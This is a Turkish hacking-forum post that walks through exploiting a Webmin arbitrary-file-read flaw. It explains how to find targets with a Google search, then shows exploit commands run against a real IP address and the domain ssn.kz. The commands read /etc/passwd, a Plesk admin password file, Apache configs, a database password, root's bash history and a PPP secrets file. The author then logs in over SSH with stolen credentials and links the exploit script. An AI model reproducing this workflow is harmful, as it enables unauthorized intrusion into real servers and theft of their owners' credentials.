folder Tahribat.com Forumları
linefolder Bilişim Güvenliği
linefolder Webmin Unspecifed Information Disclosure Güvenlik Açığı



Webmin Unspecifed Information Disclosure Güvenlik Açığı

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Fistandantilus
    Fistandantilus's avatar
    Kayıt Tarihi: 28/Eylül/2004
    Erkek
    Oldukça yeni olan, orta dereceli diyebileceğimiz bir açıkla neler yapabileceğimizi göreceğiz. Bu açık, yeni çıkan Webmin Webmin 1.290 ile Webmin Usermin 1.220 sürümleri dışında hepsinde şu an için çalışmaktadır. Bu açık sayesinde sunucuda bulunan herhangi bir dosyanın içeriğini okuyabilirsiniz. En basit anlamda /etc/passwd ve /etc/shadow dosyalarını okuyup, john the ripper adlı araçla brute force yöntemi ile kullanıcı adlarının şifrelerini çözebilme ihtimaliniz var. Bu açığı kullanan bir kod ile iki örnek saldırı aşağıdadır.

    Webmin nedir diyelim ilk önce :

    Webmin açık kaynak kodlu bir sistem yönetim aracıdır. Bir çoğunuzun bildiği plesk ve cpanel türevleride bu sınıfa girer fakat onların kapsamı daha dardır. Webmin ile sunucunuzun neredeyse tüm yönetimini gerçekleştirebilirsiniz.

    Webmin standart olarak 10000. portu kullanır, tabii sistem yöneticisi bu portu değiştirebilir. Bu programla çalışan sunucuları google’da bulmak için :

    Webmin inurl:10000

    yazarak kurulu olduğu sistemleri bulabilirsiniz.

    Şimdi bir-iki tane örnek yapalım.

    Kodu alıp Linux sistemimizde webmin-acigi.pl adı ile kaydedip, çalıştırma izni veriyoruz. Kodun çalışma mantığı şu şekilde :

    ./webmin.pl kurban_adresi port okunacak_dosya

    Google’dan bulduğumuz bir kurbanın ip adresini alıyoruz. Ve Linux kurulu sistemimizde ilk önce kodun çalışıp çalışmadığını anlama maksatlı /etc/passwd dosyasını okuyoruz.

    [root@mail exx]# ./webmin.pl 212.227.64.91 10000 /etc/passwd


    Karşıma passwd dosyası geliyor.

    passwd dosyasında gözüme bir şey çarpıyor.

    psaadm:x:1000:1000:Plesk user:/usr/local/psa/admin:/bin/false

    Bu serverda aynı zamanda Plesk’de kuruluymuş. Plesk sistemlerde admin’in şifresini unutması halinde bu şifreyi bulacağı bir dosya vardır.

    /etc/psa/.psa.shadow


    Bu dosyayı okuduğumda karşıma admin şifresi geliyor. Plesk sistemler default olarak 8443. portu kullanır https protokolu üzerinden çalışır. Yani

    https://212.227.64.91:8443

    adresinden admin-şifre ikilisiyle sisteme girebilirim demektir.

    İkinci ve daha değişik bir örneğe bakalım.

    ssn.kz adlı bir domain buluyorum yine google’da. İlk önce sunucunun sahibinin sitesini bulup, burada –varsa- bir database şifresi bulmayı umuyorum. Aynı şifreyi belirlemek bir çok sistem yöneticisinin düştüğü hatadır.

    [root@mail exx]# ./webmin.pl ssn.kz 10000 /etc/httpd/conf/httpd.conf | grep ServerName

    diyerek ;

    ServerName ssn.kz

    çıktısını alıyorum. Ssn.kz adlı adrese girdiğimde php bir site olduğunu görüyorum.

    ./webmin.pl ssn.kz 10000 /etc/httpd/conf/httpd.conf | tail -n 50

    Diyerek aynı apache konfigurasyon dosyasının son 50 satırını alıyorum. Burada :


    ServerAdmin info@ssn.kz
    DirectoryIndex index.html
    DocumentRoot /include/www/ssn
    ServerName ssn.kz


    virtualhost tanımını görüyorum.

    ./webmin.pl ssn.kz 10000 /include/www/ssn/index.php | more

    diyerek dosyanın en başını okuyorum.

    include_once("mainfile.php";

    adlı satırı görüyorum en başta. Bu demektir ki; veritabanına bağlantı bilgileri büyük ihtimalle bu dosyada ;

    ./webmin.pl ssn.kz 10000 /include/www/ssn/mainfile.php | more

    diyerek dosyanın en başını okuyorum.

    $xoopsConfig["dbpass"] = "111";

    adlı satırı görüyorum. Şifre bu kadar basitse bi işe yaramaz deyip ikinci adıma geçiyorum..

    [root@mail exx]# ./webmin.pl ssn.kz 10000 /root/.bash_history > ssn.kz_bash_history
    [root@mail exx]# cat ssn.kz_bash_history | more

    diyerek bir iz bulma ümidi ile root’un bash history’sini okuyorum. Önemli yerleri not alıyorum 

    smbmount //192.168.12.7/pub /mnt/cdrom
    ping 192.168.12.155
    ping 192.168.12.119
    ping 192.168.12.8

    Samba ve yerel ip’ler ile ilgili bir şeylere rastlıyorum. Demek ki bu makineye samba üzerinden bağlı başka makineler var. Buradan diğerlerine zıplama şansı olabilir diyerek yazıyorum.

    useradd sveta
    passwd sveta
    vi /etc/ppp/pap-secrets

    Bir kullanıcı adı ve şifresi oluşturulduktan sonra bir dosya editlenmiş. İşe yarayabilir diye not ediyorum..

    ./webmin.pl ssn.kz 10000 /etc/ppp/pap-secrets > ssn.kz_secrets

    diyerek bu dosyayı alıyorum. İçine bir bakıyorum ki onlarca ssh’a açık kullanıcının şifreleri duruyor. Bunlardan biriyle sisteme girmeyi deniyorum, ve giriyor..

    Geriside size kalıyor



    Ek Dosya : Kullanılan script

    http://www.e-hack.org/exploit/archive/032.txt

    Yazar: noworries

    -(ç)alıntıdır-

    Fakat söyleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?
Toplam Hit: 14277 Toplam Mesaj: 1